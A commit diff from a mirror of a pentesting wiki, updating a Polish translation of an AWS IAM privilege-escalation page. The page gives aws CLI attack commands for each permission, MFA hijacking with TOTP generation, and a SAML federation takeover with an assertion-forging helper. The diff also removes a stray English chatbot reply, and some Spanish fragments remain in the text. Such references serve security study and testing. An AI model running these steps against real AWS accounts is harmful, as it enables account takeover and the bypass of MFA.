mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 19:11:44 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+83
-104
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Aby uzyskać więcej informacji o IAM, zobacz:
|
||||
Aby uzyskać więcej informacji o IAM, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,85 +12,104 @@ Aby uzyskać więcej informacji o IAM, zobacz:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień.
|
||||
Przyznaje możliwość utworzenia nowej wersji policy IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` przez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
|
||||
**Impact:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
|
||||
Umożliwia zmianę domyślnej wersji policy IAM na inną istniejącą wersję, potencjalnie eskalując uprawnienia, jeśli nowa wersja ma więcej uprawnień.
|
||||
|
||||
**Polecenie Bash:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień poprzez umożliwienie nadania dodatkowych uprawnień.
|
||||
**Impact:** Pośrednia privilege escalation poprzez włączenie większej liczby uprawnień.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może doprowadzić do eskalacji uprawnień.
|
||||
Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co prowadzi do potencjalnej privilege escalation.
|
||||
|
||||
**Wykorzystanie:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.
|
||||
**Impact:** Bezpośrednia privilege escalation przez przyjęcie rozszerzonych uprawnień innego użytkownika.
|
||||
|
||||
Zwróć uwagę, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy:
|
||||
Należy zauważyć, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować permission `iam:DeleteAccessKey`, aby usunąć jedną z nich i móc utworzyć nową:
|
||||
```bash
|
||||
aws iam delete-access-key --access-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej przez MFA dla jego poświadczeń.
|
||||
Jeśli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz skutecznie zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej MFA dla jego poświadczeń.
|
||||
|
||||
**Wymagania wstępne:**
|
||||
|
||||
Możesz użyć dowolnego narzędzia do kodów TOTP — oathtool jest proste i lekkie.
|
||||
```bash
|
||||
sudo apt install oathtool
|
||||
sudo dnf install oathtool
|
||||
sudo yum install oathtool
|
||||
```
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
|
||||
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
# Generate 2 consecutive TOTP codes from the seed
|
||||
|
||||
oathtool --base32 --totp "<Seed_Here>" -w 1
|
||||
|
||||
# Enable the new device for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień).
|
||||
**Authenticate:**
|
||||
|
||||
Po uzyskaniu podstawowej sesji jako użytkownik docelowy możesz użyć security token service, aby uzyskać token oparty na MFA.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <device-arn> --token-code <code>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia privilege escalation przez przejęcie enrolment MFA użytkownika (a następnie użycie jego permissions).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Pozwala na utworzenie lub aktualizację profilu logowania, w tym ustawienie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
|
||||
Pozwala na tworzenie lub aktualizowanie login profile, w tym ustawianie passwords dla AWS console login, co prowadzi do bezpośredniej privilege escalation.
|
||||
|
||||
**Eksploit dla tworzenia:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit dla aktualizacji:**
|
||||
**Exploit for Update:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako użytkownik "any".
|
||||
**Impact:** Bezpośrednia privilege escalation przez zalogowanie się jako „dowolny” użytkownik.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
|
||||
Pozwala włączyć wyłączony access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony key.
|
||||
|
||||
**Eksploit:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys.
|
||||
**Impact:** Bezpośrednia privilege escalation przez ponowne aktywowanie access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to poświadczenia w postaci **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie dana usługa je akceptuje.
|
||||
Umożliwia generowanie lub resetowanie credentials dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to credentials **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie ta usługa je akceptuje.
|
||||
|
||||
**Tworzenie:**
|
||||
**Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
|
||||
```
|
||||
@@ -114,41 +133,41 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Uwaga: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je (URL-encode).
|
||||
> Note: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je w URL.
|
||||
|
||||
W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli z repozytorium wydobędziesz **AWS access keys**, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (na przykład odczytaj flagę z Secrets Manager):
|
||||
W tym momencie możesz odczytać wszystko, do czego użytkownik docelowy ma dostęp w CodeCommit (np. leakowany plik z credentials). Jeśli pobierzesz **AWS access keys** z repozytorium, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do resources (na przykład odczytaj flagę z Secrets Manager):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
**Resetowanie:**
|
||||
**Reset:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impact:** Privilege escalation — uzyskanie uprawnień docelowego użytkownika dla danego serwisu (a potencjalnie dalej, jeśli pivot przy użyciu danych pozyskanych z tej usługi).
|
||||
**Impact:** Eskalacja uprawnień do uprawnień użytkownika docelowego dla danej usługi (i potencjalnie dalej, jeśli pivotujesz używając danych pobranych z tej usługi).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez dziedziczenie uprawnień dołączonej polityki.
|
||||
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia przez dziedziczenie uprawnień dołączonej polityki.
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit dla grupy:**
|
||||
**Exploit dla Group:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje dana polityka.
|
||||
**Wpływ:** Bezpośrednia privilege escalation do wszystkiego, co policy przyznaje.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Pozwala dołączać lub nadawać polityki rolom, użytkownikom lub grupom, co umożliwia bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.
|
||||
Umożliwia attachowanie lub putting policy do roles, users lub groups, co pozwala na bezpośrednią privilege escalation przez nadanie dodatkowych permissions.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit for Inline Policies:**
|
||||
**Exploit dla Inline Policies:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -172,28 +191,28 @@ Możesz użyć polityki takiej jak:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez nadanie dodatkowych uprawnień za pomocą polityk.
|
||||
**Impact:** Bezpośrednia privilege escalation przez dodawanie uprawnień za pomocą policies.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Pozwala na dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
|
||||
Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Pozwala na zmianę dokumentu assume role policy roli, umożliwiając przyjęcie roli i związanych z nią uprawnień.
|
||||
Pozwala zmieniać dokument polityki assume role dla roli, umożliwiając przejęcie roli i jej powiązanych uprawnień.
|
||||
|
||||
**Eksploit:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli:
|
||||
Gdzie polityka wygląda jak poniżej, co daje użytkownikowi uprawnienie do przyjęcia roli:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -208,38 +227,38 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
|
||||
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
|
||||
|
||||
**Eksploit do przesyłania klucza SSH:**
|
||||
**Exploit dla SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit do dezaktywacji MFA:**
|
||||
**Exploit dla deaktywacji MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Wpływ:** Indirect privilege escalation poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Pozwala na ponowną synchronizację urządzenia MFA, co potencjalnie może prowadzić do indirect privilege escalation poprzez manipulację ochroną MFA.
|
||||
Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA.
|
||||
|
||||
**Polecenie Bash:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Pośrednie eskalowanie uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.
|
||||
**Impact:** Pośrednia privilege escalation poprzez dodawanie lub manipulowanie urządzeniami MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby wykonać **login** na dowolną **rolę, która jej ufa**.
|
||||
Z tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** do dowolnej **role that is trusting** it.
|
||||
|
||||
Zauważ, że wykonując to **legit users won't be able to login**. Jednak możesz pobrać XML, podmienić go na swój, login i przywrócić poprzednią konfigurację.
|
||||
Pamiętaj, że jeśli to zrobisz, **legit users won't be able to login**. Jednak możesz pobrać XML, więc możesz wstawić własny, login i skonfigurować poprzedni back
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -257,7 +276,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
|
||||
```
|
||||
**Atak end-to-end:**
|
||||
|
||||
1. Wypisz providera SAML i rolę, która mu ufa:
|
||||
1. Wylicz SAML provider i rolę, która mu ufa:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
@@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Sfałszuj metadane IdP + podpisane oświadczenie SAML dla pary rola/dostawca:
|
||||
2. Forge metadane IdP + podpisany SAML assertion dla pary role/provider:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
@@ -289,7 +308,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Rozwijane: <code>/tmp/saml_forge.py</code> pomocnik (metadane + podpisane stwierdzenie)</summary>
|
||||
<summary>Rozwijane: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
@@ -485,7 +504,7 @@ main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Zaktualizuj metadane dostawcy SAML do certyfikatu IdP, przejmij rolę i użyj zwróconych poświadczeń STS:
|
||||
3. Zaktualizuj metadane dostawcy SAML do swojego certyfikatu IdP, załóż rolę i użyj zwróconych poświadczeń STS:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
@@ -501,7 +520,7 @@ echo "Session expires at: $SESSION_EXP"
|
||||
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
4. Sprzątanie: przywróć poprzednie metadane:
|
||||
4. Cleanup: przywróć poprzednie metadane:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
@@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> Aktualizacja metadanych dostawcy SAML jest destrukcyjna: dopóki twoje metadane są wprowadzone, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić.
|
||||
> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających temu dostawcy.
|
||||
(Nie jestem pewien co do tego) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby umożliwić logowanie do wszystkich ról ufających providerowi.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, co może prowadzić do eskalacji jego uprawnień — umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia.
|
||||
To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia przez umożliwienie mu wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -550,22 +569,22 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić granicę uprawnień dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli przypisze zbyt liberalną granicę uprawnień — skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
|
||||
Actor z `iam:PutRolePermissionsBoundary` może ustawić permissions boundary na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia boundary roli: może nieprawidłowo ograniczyć operacje (powodując disruption usługi) albo, jeśli dołączy permissive boundary, faktycznie rozszerzyć to, co rola może robić, i eskalować uprawnienia.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
|
||||
Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypisuje je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda (sekretu) tego urządzenia MFA kontrolowanego przez atakującego, generują prawidłowe jednorazowe hasła i żądają tokenu sesji uwierzytelnionego MFA przez STS. Pozwala to atakującemu spełnić wymóg MFA i uzyskać tymczasowe poświadczenia jako ofiara, skutecznie przejmując konto mimo wymuszonego MFA.
|
||||
Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypina je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Używając seed tego kontrolowanego przez atakującego MFA, generuje poprawne jednorazowe hasła i żąda tokenu sesji uwierzytelnionej przez MFA za pośrednictwem STS. Pozwala to atakującemu spełnić wymaganie MFA i uzyskać tymczasowe credentials jako ofiara, skutecznie przejmując konto, mimo że MFA jest wymuszone.
|
||||
|
||||
Jeśli docelowy użytkownik ma już skonfigurowane MFA, dezaktywuj je (`iam:DeactivateMFADevice`):
|
||||
Jeśli docelowy użytkownik ma już MFA, dezaktywuj je (`iam:DeactivateMFADevice`):
|
||||
```bash
|
||||
aws iam deactivate-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
|
||||
```
|
||||
Utwórz nowe virtual MFA device (zapisuje seed do pliku)
|
||||
Utwórz nowe wirtualne urządzenie MFA (zapisuje seed do pliku)
|
||||
```bash
|
||||
aws iam create-virtual-mfa-device \
|
||||
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
|
||||
@@ -592,7 +611,7 @@ now = int(time.time())
|
||||
print(totp(now))
|
||||
print(totp(now + 30))
|
||||
```
|
||||
Włącz MFA device dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
Włącz urządzenie MFA dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
@@ -600,47 +619,7 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 CODE1 \
|
||||
--authentication-code2 CODE2
|
||||
```
|
||||
I can’t generate a live STS/MFA token code for an account I don’t control. I can, however, show how to generate one yourself and how to use it with AWS STS.
|
||||
|
||||
How to generate a TOTP (MFA) code locally
|
||||
- Using oathtool (Linux/macOS):
|
||||
- Install: apt/yum/brew install oathtool
|
||||
- Command: oathtool --totp -b "BASE32SECRET"
|
||||
- Replace BASE32SECRET with your MFA device secret (BASE32). This prints the current 6-digit TOTP.
|
||||
|
||||
- Using Python + pyotp:
|
||||
- Install: pip install pyotp
|
||||
- Command: python -c 'import pyotp; print(pyotp.TOTP("BASE32SECRET").now())'
|
||||
- Replace BASE32SECRET with your actual BASE32 secret.
|
||||
|
||||
Notes:
|
||||
- The secret must be the one provisioned to your MFA device/account.
|
||||
- Ensure system clock is accurate (NTP) — time drift causes invalid codes.
|
||||
- Do not use secrets or codes that aren’t yours.
|
||||
|
||||
How to use the code with AWS CLI (GetSessionToken)
|
||||
- Example command (replace placeholders):
|
||||
aws sts get-session-token \
|
||||
--serial-number arn:aws:iam::123456789012:mfa/your-user \
|
||||
--token-code 123456 \
|
||||
--duration-seconds 3600
|
||||
|
||||
- Replace:
|
||||
- arn:... with your MFA device serial (or user ARN)
|
||||
- 123456 with the TOTP you generated
|
||||
- duration-seconds as needed (default/limits apply)
|
||||
|
||||
- Example of the response structure (placeholder values):
|
||||
{
|
||||
"Credentials": {
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY",
|
||||
"SessionToken": "IQoJb3JpZ2luX2VjEJr...",
|
||||
"Expiration": "2026-03-31T12:34:56Z"
|
||||
}
|
||||
}
|
||||
|
||||
If you need help generating a code from a specific tool or troubleshooting a failed GetSessionToken call (error messages, clock skew), tell me which tool/command and the error (omit sensitive secrets), and I can help debug.
|
||||
Wygeneruj aktualny kod tokena (dla STS)
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
@@ -655,7 +634,7 @@ o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
print(f"{code:06d}")
|
||||
```
|
||||
Skopiuj wyświetloną wartość jako TOKEN_CODE i poproś o token sesji z MFA (STS):
|
||||
Skopiuj wypisaną wartość jako TOKEN_CODE i zażądaj tokenu sesji z MFA (STS):
|
||||
```bash
|
||||
aws sts get-session-token \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
|
||||
Reference in New Issue
Block a user